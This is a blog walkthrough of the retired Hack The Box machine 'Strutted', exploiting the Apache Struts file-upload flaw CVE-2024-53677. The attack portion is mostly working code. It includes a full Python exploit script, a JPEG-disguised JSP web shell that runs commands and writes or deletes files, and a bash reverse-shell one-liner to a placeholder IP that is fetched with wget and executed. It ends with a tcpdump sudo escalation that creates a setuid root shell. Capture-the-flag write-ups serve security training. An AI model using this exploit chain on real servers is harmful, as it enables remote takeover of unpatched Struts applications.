Skip to main content

Command Palette

Search for a command to run...

Strutted

(Linux , Medium)

Updated
9 min read
Strutted

OVERVIEW


So we are given IP Address let’s start the enumeration using NMAP

ENUMERATION

Let’s analyze these ports specifically Port 80 and don’t forget to add strutted.htb into /etc/hosts

Here we can see there is an upload functionality but only JPG,JPEG,PNG,GIF formats are allowed and when we try to upload any other format it shows

Let’s see what happens when we upload a image file

We can see that it is saved in the directory _/_/file.png in which the middle id is temporary which can’t be guessed so can’t access other files rather then the one we uploads

In the main page the right side has a Download button which allows us to download a zip file so let’s download and unzip that zip file

We came to know that it is using Apache + Tomcat which means .jsp file are used and you will get a password for an admin user in tomcat-users.xml file which could be useful in future.
Let’s enumerate more in the /strutted directory

In /strutted directory there is a file named as pom.xml where we can see the struts version which is 6.3.0.1

In /strutted/src/main/java/org/strutted/htb/Upload.java file we can see:

The Upload functionality is checking whether the input is among these in short its checking each file headers/magic bytes that’s why we are not able to upload other files
It also checks for the File content type to be Image and blocks other content type. (Can Confirm By Capturing Request In Burpsuite)

So As we now know the struts version 6.3.0.1
Either found the CVE related to it and you will get the CVE-2024-53677

Or Either while enumerating through the directories you will end up in /strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst file

So while finding exploits for this CVE you will end up on this GitHub repo REPO_LINK

But before exploiting the vulnerability let’s see what is it about, and to know in detail come to this LINK

ABOUT THE VULNERABILITY (CVE-2024-53677) (BRIEF)
"The vulnerability we're exploiting is CVE-2024-53677, an OGNL (Object-Graph Navigation Language) parameter injection flaw in Apache Struts 2 (versions 2.0.0 to 6.3.0.1) that allows attackers to manipulate file upload parameters. By injecting the parameter top.UploadFileName during a file upload request, we can bypass path restrictions and rename our uploaded file after it passes security validation, enabling us to upload a malicious JSP file that achieves Remote Code Execution."

ATTACK PATH / EXPLOITATION

Vulnerability: CVE-2024-53677 - Apache Struts 2 File Upload OGNL Injection

Apache Struts 2's FileUploadInterceptor contains a critical flaw where attackers can inject OGNL expressions through HTTP parameter names to manipulate file upload properties. The vulnerability exists because:

  1. Security validation happens first - The application checks if uploaded files are valid images (magic bytes + Content-Type)

  2. Parameter binding happens after - Struts then processes HTTP parameters and binds them to the Action object using OGNL

  3. The exploit - By sending a parameter named top.UploadFileName with value ../../shell.jsp, we modify the filename property on the Value Stack AFTER validation

  4. Path traversal - The ../../ allows us to escape the timestamp-based upload directory and place our file in the web root because its easy to access

  5. Polyglot file - We embed JSP code inside a valid JPEG file (with magic bytes), which passes image validation but executes as JSP when accessed


Now let’s use the GitHub repo to Exploit This Vulnerability But The Scripts are missing some things

  • The .jsp script will not work because the server validates uploaded files by checking the first 8 bytes (magic bytes) to ensure they're actual images - it looks for FF D8 FF (JPEG), 89 50 4E 47 (PNG), or 47 49 46 38 (GIF) which is not present in the script.

  • The file started with <%@ (test.txt), which failed this validation and got rejected before the OGNL parameter injection (top.UploadFileName) could even execute.

  • Additionally, the Python script was sending Content-Type: text/plain instead of image/jpeg, causing a double failure.

  • By prepending JPEG magic bytes (\xff\xd8\xff\xe0) to the beginning of the JSP file and changing the Content-Type to image/jpeg, the file now passes all image validation checks, gets uploaded successfully, then the parameter injection renames it to .jsp, and when accessed, Tomcat's JSP engine ignores the image bytes at the start and executes the JSP code embedded after them.

So Replace your CVE-2024-53677.py with

import requests
import time
import sys
import argparse

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

# 배너 출력
banner = r"""..-+*******-                                                                                  
            .=#+-------=@.                        .:==:.                                                   
           .**-------=*+:                      .-=++.-+=:.                                                 
           +*-------=#=+++++++++=:..          -+:==**=+-+:.                                                
          .%----=+**+=-:::::::::-=+**+:.      ==:=*=-==+=..                                                
          :%--**+-::::::::::::::::::::+*=:     .::*=**=:.                                                  
   ..-++++*@#+-:::::::::::::::::::::::::-*+.    ..-+:.                                                     
 ..+*+---=#+::::::::::::::::::::::::::::::=*:..-==-.                                                       
 .-#=---**:::::::::::::::::::::::::=+++-:::-#:..            :=+++++++==.   ..-======-.     ..:---:..       
  ..=**#=::::::::::::::::::::::::::::::::::::%:.           *@@@@@@@@@@@@:.-#@@@@@@@@@%*:.-*%@@@@@@@%#=.    
   .=#%=::::::::::::::::::::::::::::::::-::::-#.           %@@@@@@@@@@@@+:%@@@@@@@@@@@%==%@@@@@@@@@@@%-    
  .*+*+:::::::::::-=-::::::::::::::::-*#*=::::#: ..*#*+:.  =++++***%@@@@+-@@@#====%@@@%==@@@#++++%@@@%-    
  .+#*-::::::::::+*-::::::::::::::::::+=::::::-#..#+=+*%-.  :=====+#@@@@-=@@@+.  .%@@@%=+@@@+.  .#@@@%-    
   .+*::::::::::::::::::::::::+*******=::::::--@.+@#+==#-. #@@@@@@@@@@@@.=@@@%*++*%@@@%=+@@@#====@@@@%-    
   .=+:::::::::::::=*+::::::-**=-----=#-::::::-@%+=+*%#:. .@@@@@@@@@@@%=.:%@@@@@@@@@@@#-=%@@@@@@@@@@@#-    
   .=*::::::::::::-+**=::::-#+--------+#:::-::#@%*==+*-   .@@@@#=----:.  .-+*#%%%%@@@@#-:+#%@@@@@@@@@#-    
   .-*::::::::::::::::::::=#=---------=#:::::-%+=*#%#-.   .@@@@%######*+.       .-%@@@#:  .....:+@@@@*:    
    :+=:::::::::::-:-::::-%=----------=#:::--%++++=**      %@@@@@@@@@@@@.        =%@@@#.        =@@@@*.    
    .-*-:::::::::::::::::**---------=+#=:::-#**#*+#*.      -#%@@@@@@@@@#.        -%@@%*.        =@@@@+.    
.::-==##**-:::-::::::::::%=-----=+***=::::=##+#=.::         ..::----:::.         .-=--.         .=+=-.     
%+==--:::=*::::::::::::-:+#**+=**=::::::-#%=:-%.                                                           
*+.......+*::::::::::::::::-****-:::::=*=:.++:*=                                                           
.%:..::::*@@*-::::::::::::::-+=:::-+#%-.   .#*#.                                                           
 ++:.....#--#%**=-:::::::::::-+**+=:@#....-+*=.                                                            
 :#:....:#-::%..-*%#++++++%@@@%*+-.#-=#+++-..                                                              
 .++....-#:::%.   .-*+-..*=.+@= .=+..-#                                                                    
 .:+++#@#-:-#= ...   .-++:-%@@=     .:#                                                                    
     :+++**##@#+=.      -%@@@%-   .-=*#.                                                                   
    .=+::+::-@:         #@@@@+. :+*=::=*-                                                                  
    .=+:-**+%%+=-:..    =*#*-..=*-:::::=*                                                                  
     :++---::--=*#+*+++++**+*+**-::::::+=                                                                  
      .+*=:::---+*:::::++++++*+=:::::-*=.                                                                  
       .:=**+====#*::::::=%:...-=++++=.      Author: EQST(Experts, Qualified Security Team)
           ..:----=**++++*+.                 Github: https://github.com/EQSTLab/CVE-2024-53677  


============================================================================================================    

CVE-2024-53677 : Apache Struts2 File Upload vulnerabilities
File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. This issue affects Apache Struts: from 2.0.0 before 6.4.0. Users are recommended to upgrade to version 6.4.0 at least and migrate to the new file upload mechanism https://struts.apache.org/core-developers/file-upload . If you are not using an old file upload logic based on FileuploadInterceptor your application is safe. You can find more details in  https://cwiki.apache.org/confluence/display/WW/S2-067

============================================================================================================= 
"""

# 하드코딩된 JSP 파일 내용 (JPEG 헤더 포함)
HARDCODED_FILE_CONTENT = """<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
    String action = request.getParameter("action");
    String output = "";

    try {
        if ("cmd".equals(action)) {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output += line + "\\n";
                }
                reader.close();
            }
        } else {
            output = "Unknown action.";
        }
    } catch (Exception e) {
        output = "Error: " + e.getMessage();
    }
    response.setContentType("text/plain");
    out.print(output);
%>
"""

class StrutsExploit:

    def __init__(self, url: str, path: str, file_content: str = None):
        self.url = url
        self.path = path
        self.file_content = file_content if file_content else HARDCODED_FILE_CONTENT

    def greeting(self) -> None:
        print(banner)

    # 스피너 애니메이션
    @staticmethod
    def spinner(duration=10, interval=0.1) -> None:
        spinner_chars = ['|', '/', '-', '\\']
        end_time = time.time() + duration
        while time.time() < end_time:
            for char in spinner_chars:
                sys.stdout.write(f'\r[{char}] Loading, please wait...')
                sys.stdout.flush()
                time.sleep(interval)
        print("")

    # 파일 업로드 함수 (FIXED!)
    def exploit(self) -> None:
        # Add JPEG magic bytes to the beginning
        jpeg_header = b'\xff\xd8\xff\xe0'

        # Convert file content to bytes and prepend JPEG header
        if isinstance(self.file_content, str):
            full_content = jpeg_header + self.file_content.encode('utf-8')
        else:
            full_content = jpeg_header + self.file_content

        files = {
            'Upload': ("exploit_file.jpg", full_content, 'image/jpeg'),  # Changed to .jpg and image/jpeg
            'top.UploadFileName': (None, self.path),
        }

        try:
            response = requests.post(self.url, files=files, verify=False)
            print("Status Code:", response.status_code)
            print("Response Text:", response.text[:500])  # Limit output
            if response.status_code == 200:
                print("\n[+] File uploaded successfully!")
                print(f"[+] Try accessing: {self.url.replace('/upload.action', '')}/{self.path.replace('../../', '')}")
            else:
                print("\n[-] Failed to upload file.")
        except requests.exceptions.RequestException as e:
            print(f"Request failed: {e}")

def main(args):
    # 파일 내용 읽기
    file_content = None
    if args.file:
        try:
            with open(args.file, 'rb') as f:  # Changed to 'rb' for binary read
                file_content = f.read()
                # Check if file already has JPEG header
                if file_content[:4] == b'\xff\xd8\xff\xe0':
                    print("[*] File already contains JPEG header, using as-is")
                else:
                    print("[!] Warning: File doesn't have JPEG magic bytes!")
                    print("[*] Adding JPEG header automatically...")
        except FileNotFoundError:
            print(f"Error: File '{args.file}' not found.")
            exit(1)

    # 실행
    exploit = StrutsExploit(args.url, args.path, file_content)
    exploit.greeting()
    StrutsExploit.spinner(duration=2)
    exploit.exploit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-53677 - Apache Struts File Upload Exploit")
    parser.add_argument("-u", "--url", required=True, help="The URL to send the POST request to (e.g., http://target.com/upload.action)")
    parser.add_argument("-p", "--path", required=True, help="The top.UploadFileName value (e.g., ../../shell.jsp)")
    parser.add_argument("-f", "--file", help="The local file to upload (will automatically add JPEG header if missing)")

    args = parser.parse_args()
    main(args)

And create a new file with name shell.jsp and enter the below code into it

ÿØÿà<%@ page import="java.io.*, java.util.*" %>
<%
String action = request.getParameter("action");
String output = "";

try {
    if ("cmd".equals(action)) {
        // Execute system commands
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                output += line + "\n";
            }
            reader.close();
        }
    } else if ("upload".equals(action)) {
        // File upload
        String filePath = request.getParameter("path");
        String fileContent = request.getParameter("content");
        if (filePath != null && fileContent != null) {
            File file = new File(filePath);
            try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
                writer.write(fileContent);
            }
            output = "File uploaded to: " + filePath;
        } else {
            output = "Invalid file upload parameters.";
        }
    } else if ("list".equals(action)) {
        // List directory contents
        String dirPath = request.getParameter("path");
        if (dirPath != null) {
            File dir = new File(dirPath);
            if (dir.isDirectory()) {
                File[] files = dir.listFiles();
                if (files != null) {
                    for (File file : files) {
                        output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
                    }
                }
            } else {
                output = "Path is not a directory.";
            }
        } else {
            output = "No directory path provided.";
        }
    } else if ("delete".equals(action)) {
        // Delete files
        String filePath = request.getParameter("path");
        if (filePath != null) {
            File file = new File(filePath);
            if (file.delete()) {
                output = "File deleted: " + filePath;
            } else {
                output = "Failed to delete file: " + filePath;
            }
        } else {
            output = "No file path provided.";
        }
    } else {
        // Unknown operation
        output = "Unknown action. Available actions: cmd, upload, list, delete";
    }
} catch (Exception e) {
    output = "Error: " + e.getMessage();
}

// Return the result
response.setContentType("text/plain");
out.print(output);
%>

Now Run the Exploit

python3 CVE-2024-53677.py -u http://strutted.htb/upload.action -p ../../shell.jsp -f shell.jsp

It shows that shell.jsp is successfully uploaded now let’s see if we get a successful RCE or not
Head to

http://strutted.htb/shell.jsp?action=cmd&cmd=id

Here we go !! We got the Remote Code Execution Now let’s get the foothold by taking reverse shell
Since we can upload the file in server using RCE we will upload a reverse shell payload file into the server and then get the reverse shell as normal payload through URL is not seem to work.

So In your local machine :

echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/YOUR-IP/9002 0>&1"' > rev.sh

python3 -m http.server 80

In another terminal open netcat listener

nc -lvnp 9002

Now go to the webpage where you had your RCE

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+YOUR-IP/rev.sh+-O+/tmp/rev.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/rev.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/rev.sh

You will get the reverse shell as tomcat but we can’t access /home/james directory so remember you got tomcat admin password at the start which u can also see here in /var/lib/tomcat9/conf/tomcat-users.xml


USER FLAG

Now let’s try ssh login for user james with that password

We got in and you can grab the user flag from the /home/james directory


PRIVILEGE ESCALATION / ROOT FLAG

Now let’s enumerate for privilege escalation and for that when you will do sudo -l you will see

Let’s head to GTFO bin to find the way to escalate privilege using tcpdump

COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
ls -la /tmp/bash_root
/tmp/bash_root -p

We got the root access and now you can grab the root flag

WE FINALLY DID IT !!!! CHALLENGE SOLVED !!

For Any Query Or Problem Either Leave A Comment Or Contact At reapsec.com

THANKS FOR READING !!!

HTB MACHINES

Part 4 of 9

In This Series I Will Provide Full Walkthrough Of Retired Machine On Hack The Box !

Up next

Redelegate

(Hard , Windows , Vulnlab Machine)